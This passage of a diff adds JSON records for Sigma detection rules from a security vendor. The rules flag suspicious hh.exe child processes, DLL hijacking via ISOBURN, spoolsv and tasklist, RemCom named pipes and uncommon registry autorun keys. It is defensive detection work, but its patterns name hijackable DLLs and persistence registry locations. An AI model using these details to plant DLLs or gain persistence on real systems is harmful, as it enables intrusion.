+  "rule_modified_date": "2025-04-29",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1102.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d5f9a231-a605-4a0f-826e-513f92e27d3c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619275Z",
+  "creation_date": "2026-03-23T11:45:34.619277Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619282Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/MBThreatIntel/status/1561736526819639298",
+    "https://attack.mitre.org/techniques/T1204/002/"
+  ],
+  "name": "t1204_001_suspicious_process_parent_hh.yml",
+  "content": "title: Suspicious Process Started by hh.exe\nid: d5f9a231-a605-4a0f-826e-513f92e27d3c\ndescription: |\n    Detects the execution of a suspicious process launched by hh.exe that can be the result of clicking a malicious .chm file.\n    This is often the result of a phishing attack. This technique has been used by threat actors in an August 2022 campaign to deliver an AgentTesla payload.\n    It is recommended to analyze both the grandparent process and the .chm file itself to look for malicious content, and to investigate further malicious actions stemming from hh.exe.\nreferences:\n    - https://twitter.com/MBThreatIntel/status/1561736526819639298\n    - https://attack.mitre.org/techniques/T1204/002/\ndate: 2022/09/29\nmodified: 2025/03/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Hh\n    - classification.Windows.Behavior.InitialAccess\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentImage|endswith: '\\hh.exe'\n\n    exclusion_hh:\n        CommandLine: '?:\\Windows\\hh.exe'\n\n    exclusion_werfault:\n        Image:\n            - '?:\\Windows\\SysWOW64\\WerFault.exe'\n            - '?:\\Windows\\System32\\WerFault.exe'\n        CommandLine|contains: ' -u -p '\n\n    exclusion_splwow:\n        CommandLine: '?:\\Windows\\splwow64.exe 8192'\n\n    exclusion_browser:\n        Image:\n            - '?:\\Program Files*\\Microsoft\\Edge\\Application\\msedge.exe'\n            - '?:\\Program Files*\\Mozilla Firefox\\firefox.exe'\n            - '?:\\Program Files*\\Google\\Chrome\\Application\\chrome.exe'\n        Signed: 'true'\n\n    exclusion_adobe:\n        Signature: 'Adobe Inc.'\n        Signed: 'true'\n\n    exclusion_spooler:\n        Image: '?:\\Windows\\System32\\spool\\drivers\\x64\\3\\\\*.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d5f9a231-a605-4a0f-826e-513f92e27d3c",
+  "rule_name": "Suspicious Process Started by hh.exe",
+  "rule_description": "Detects the execution of a suspicious process launched by hh.exe that can be the result of clicking a malicious .chm file.\nThis is often the result of a phishing attack. This technique has been used by threat actors in an August 2022 campaign to deliver an AgentTesla payload.\nIt is recommended to analyze both the grandparent process and the .chm file itself to look for malicious content, and to investigate further malicious actions stemming from hh.exe.\n",
+  "rule_creation_date": "2022-09-29",
+  "rule_modified_date": "2025-03-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1204.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d64960e1-ea00-454e-88a5-c1b8c9cffc38",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078939Z",
+  "creation_date": "2026-03-23T11:45:34.078941Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078945Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_isoburn.yml",
+  "content": "title: DLL Hijacking via ISOBURN.exe\nid: d64960e1-ea00-454e-88a5-c1b8c9cffc38\ndescription: |\n    Detects potential Windows DLL Hijacking via ISOBURN.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'ISOBURN.EXE'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\uxtheme.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d64960e1-ea00-454e-88a5-c1b8c9cffc38",
+  "rule_name": "DLL Hijacking via ISOBURN.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via ISOBURN.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d6626a07-ebc3-45d0-a15c-029147b71685",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.599099Z",
+  "creation_date": "2026-03-23T11:45:34.599102Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.599110Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_spoolsv.yml",
+  "content": "title: DLL Hijacking via spoolsv.exe\nid: d6626a07-ebc3-45d0-a15c-029147b71685\ndescription: |\n    Detects potential Windows DLL Hijacking via spoolsv.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'spoolsv.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\DNSAPI.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d6626a07-ebc3-45d0-a15c-029147b71685",
+  "rule_name": "DLL Hijacking via spoolsv.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via spoolsv.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d68bd5c7-1803-446c-9f61-a41bb1ba41f5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078981Z",
+  "creation_date": "2026-03-23T11:45:34.078984Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078990Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/en_us/research/19/b/monero-miner-malware-uses-radmin-mimikatz-to-infect-propagate-via-vulnerability.html",
+    "https://attack.mitre.org/techniques/T1021/002/"
+  ],
+  "name": "t1021_002_radmin_named_pipe_creation.yml",
+  "content": "title: RemCom Named Pipe Created\nid: d68bd5c7-1803-446c-9f61-a41bb1ba41f5\ndescription: |\n    Detects the creation of a Named Pipe pertaining to RemCom.\n    RemCom is a Remote Management tool; it was created with the goal of replacing psexec. It uses Named Pipes mainly to self-replicate through the network.\n    It is recommended to determine if this tool is expected in your environment and to investigate any commands launched by RemCom.\nreferences:\n    - https://www.trendmicro.com/en_us/research/19/b/monero-miner-malware-uses-radmin-mimikatz-to-infect-propagate-via-vulnerability.html\n    - https://attack.mitre.org/techniques/T1021/002/\ndate: 2022/07/08\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.002\n    - attack.execution\n    - attack.t1559\n    - attack.t1072\n    - classification.Windows.Source.NamedPipe\n    - classification.Windows.Tool.RemCom\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: named_pipe_creation\n    product: windows\ndetection:\n    selection:\n        PipeName|endswith: '\\RemCom_communicaton'\n\n    # Exclusion for ADSelfService Plus\n    # https://pitstop.manageengine.com/portal/en/community/topic/adselfservice-plus-remcomsvc-exe-is-detected-as-a-threat\n    exclusion_adselfservice:\n        # ADSelfService Plus use two backslashes in the command line\n        ProcessCommandLine: '?:\\Windows\\\\\\\\RemComSvc.exe'\n        ProcessParentImage: '?:\\Windows\\system32\\services.exe'\n\n    # exclusion from the client side\n    exclusion_manageengine_client:\n         # ..\\bin\\RemCom.exe \\\\YYYYYY /user:xxxx\\Manage_Engine_AD /pwd:* wmic logicaldisk list brief /format:\"%WINDIR%\\System32\\wbem\\en-us\\csv\"\n        ProcessImage|endswith: '\\ManageEngine\\ADAudit Plus\\bin\\RemCom.exe'\n\n    exclusion_manageengine_bundle:\n        ProcessImage|endswith:\n            - 'UEMS_CentralServer\\bin\\RemCom.exe'\n            - '?:\\Windows\\SysWOW64\\RemComSvc.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'ZOHO Corporation Private Limited'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d68bd5c7-1803-446c-9f61-a41bb1ba41f5",
+  "rule_name": "RemCom Named Pipe Created",
+  "rule_description": "Detects the creation of a Named Pipe pertaining to RemCom.\nRemCom is a Remote Management tool; it was created with the goal of replacing psexec. It uses Named Pipes mainly to self-replicate through the network.\nIt is recommended to determine if this tool is expected in your environment and to investigate any commands launched by RemCom.\n",
+  "rule_creation_date": "2022-07-08",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.002",
+    "attack.t1072",
+    "attack.t1559"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d6c381a9-9a30-44bc-9ef4-59f6c33410b7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.600143Z",
+  "creation_date": "2026-03-23T11:45:34.600147Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.600154Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_tasklist.yml",
+  "content": "title: DLL Hijacking via tasklist.exe\nid: d6c381a9-9a30-44bc-9ef4-59f6c33410b7\ndescription: |\n    Detects potential Windows DLL Hijacking via tasklist.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'tasklist.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dbghelp.dll'\n            - '\\fastprox.dll'\n            - '\\netutils.dll'\n            - '\\srvcli.dll'\n            - '\\SspiCli.dll'\n            - '\\version.dll'\n            - '\\wbemprox.dll'\n            - '\\wbemsvc.dll'\n            - '\\wmiutils.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d6c381a9-9a30-44bc-9ef4-59f6c33410b7",
+  "rule_name": "DLL Hijacking via tasklist.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via tasklist.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d6fc4ccc-d2d2-4d91-9b2f-320f5783914e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.620504Z",
+  "creation_date": "2026-03-23T11:45:34.620506Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620511Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rad9800/BootExecuteEDR",
+    "https://x.com/anylink20240604/status/1922360934418284677",
+    "https://attack.mitre.org/techniques/T1547/001/"
+  ],
+  "name": "t1547_001_uncommon_persistence_registry_asep.yml",
+  "content": "title: Uncommon Registry Autorun Key Added\nid: d6fc4ccc-d2d2-4d91-9b2f-320f5783914e\ndescription: |\n    Detects when an uncommon entry is added/modified in one of the autostart extensibility point (ASEP) in the registry.\n    Attackers may achieve persistence by referencing a program with a registry run key.\n    It is recommended to investigate the process that added the key as well as the target of the registry key for malicious content.\nreferences:\n    - https://github.com/rad9800/BootExecuteEDR\n    - https://x.com/anylink20240604/status/1922360934418284677\n    - https://attack.mitre.org/techniques/T1547/001/\ndate: 2025/05/19\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1547.001\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject|contains:\n            - '\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\\'\n            - '\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunServices\\'\n            - '\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\\'\n            - '\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\\'\n            - '\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\'\n            - '\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\'\n            - '\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load'\n            - '\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load'\n            - '\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Run'\n            - '\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Run'\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Session Manager\\BootExecute'\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Session Manager\\BootExecuteNoPnpSync'\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Session Manager\\SetupExecute'\n            - 'HKLM\\System\\CurrentControlSet\\Control\\Session Manager\\PlatformExecute'\n\n    filter_empty:\n        Details:\n            - ''\n            - '(Empty)'\n\n    # This is handled by the rule 907e5765-e7f7-4b8f-886c-749bf315fe52\n    filter_remote:\n        ProcessCommandLine:\n            - '?:\\WINDOWS\\system32\\svchost.exe -k localService -p -s RemoteRegistry'\n            - '?:\\Windows\\system32\\svchost.exe -k LocalService'\n            - '?:\\Windows\\system32\\svchost.exe -k regsvc'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_bootexecute:\n        TargetObject: 'HKLM\\System\\CurrentControlSet\\Control\\Session Manager\\BootExecute'\n        Details:\n            - 'autocheck autochk *'\n            - 'autocheck autochk /q /v \\*'\n            # autocheck autochk /r /c \\??\\C:\n            - 'autocheck autochk /r /c \\\\\\?\\?\\\\?:'\n            # autocheck autochk /p \\??\\C:;autocheck autochk *\n            - 'autocheck autochk /p \\\\\\?\\?\\\\?:;autocheck autochk \\*'\n            # autocheck autochk /r /c \\??\\C:;autocheck autochk *\n            - 'autocheck autochk /r /c \\\\\\?\\?\\\\?:;autocheck autochk \\*'\n\n    exclusion_policies:\n        - TargetObject|contains:\n            - '\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\'\n            - '\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\'\n          ProcessImage:\n            - '?:\\Windows\\System32\\omadmclient.exe'\n            - '?:\\Windows\\System32\\DeviceEnroller.exe'\n        - TargetObject|contains:\n            - '\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\'\n            - '\\Software\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\'\n          ProcessParentCommandLine: '?:\\Windows\\system32\\mmc.exe ?:\\Windows\\system32\\gpmc.msc'\n\n    exclusion_program_files:\n        ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        ProcessSigned: 'true'\n\n    exclusion_ninjarmm:\n        ProcessAncestors|contains: '|?:\\Program Files (x86)\\\\*\\NinjaRMMAgent.exe|'\n\n    exclusion_citrix:\n        ProcessImage: '?:\\Windows\\System32\\msiexec.exe'\n        Details: 'autocheck autochk \\*;PvsVmBoot'\n\n    exclusion_fsavailux:\n        ProcessImage: '?:\\Windows\\System32\\fsavailux.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_chkdskex:\n        ProcessCommandLine: '?:\\Windows\\system32\\DllHost.exe /Processid:{A4C31131-FF70-4984-AFD6-0609CED53AD6}'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_partitionwizard:\n        ProcessImage|endswith: '\\PartitionWizard.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'MiniTool Solution Ltd'\n            - 'MiniTool Software Limited'\n\n    exclusion_partition_editor:\n        ProcessDescription: 'NIUBI Partition Editor'\n        ProcessCompany: 'NIUBI Technology'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Chongqing NIUBI Technology Co., Ltd.'\n\n    exclusion_icarus:\n        ProcessImage|endswith: '\\icarus.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Avast Software s.r.o.'\n            - 'AVG Technologies USA, LLC'\n            - 'NortonLifeLock Inc.'\n\n    exclusion_sysprep:\n        ProcessImage: '?:\\Windows\\System32\\Sysprep\\sysprep.exe'\n        Details: 'setupcl.exe'\n\n    exclusion_poqexec:\n        Details:\n            - '?:\\Windows\\System32\\poqexec.exe /* \\SystemRoot\\WinSxS\\pending.xml'\n            - '?:\\Windows\\System32\\poqexec.exe /* 